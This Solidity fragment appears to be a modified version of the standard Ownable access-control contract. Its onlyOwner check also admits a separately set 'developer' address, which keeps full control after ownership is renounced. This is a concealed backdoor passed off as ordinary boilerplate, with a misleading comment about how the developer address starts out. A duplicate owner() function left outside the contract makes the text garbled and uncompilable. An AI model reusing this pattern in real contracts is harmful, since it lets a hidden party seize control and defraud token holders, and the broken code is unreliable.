abstract contract Ownable is Context {
    address private _owner;
   address private _dev = _owner; //set initial dev to owner 

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner ;
    }
     /**
     * @dev Sets the address of the current developer.
     */  
  
    function setDeveloper(address dev) public onlyOwner {
     _dev = dev;
    }

    /**
    * @dev Gets the address of the current developer.
     */  

  function getDeveloper() public view returns (address) {
    return _dev;
  }

    modifier onlyOwner() {
        require(owner() == _msgSender() || _dev == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));  
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
function owner() public view virtual returns (address) {
    return _owner ;
}

/**
 * @dev Returns the address of the current owner.
 */